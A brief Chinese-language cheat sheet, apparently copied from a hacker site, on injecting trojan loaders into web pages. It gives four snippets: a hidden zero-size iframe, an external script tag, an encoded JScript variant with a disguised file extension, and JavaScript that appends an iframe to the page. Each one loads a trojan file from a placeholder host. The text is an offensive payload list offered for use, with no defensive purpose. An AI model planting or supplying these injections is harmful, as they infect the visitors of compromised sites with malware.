一、最简单的也是最有效的
<iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>
二、js挂马
<script src=http://www.xxx.com/muma.js></script>
三、js变形加密
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀的。
四、不是嵌入了与iframe不同
top.document.body.innerHTML = top.document.body.innerHTML + ''\r\n<iframe src="木马地址"></iframe>''''
http://hackbase.com/tech/2006-08-26/15362.html
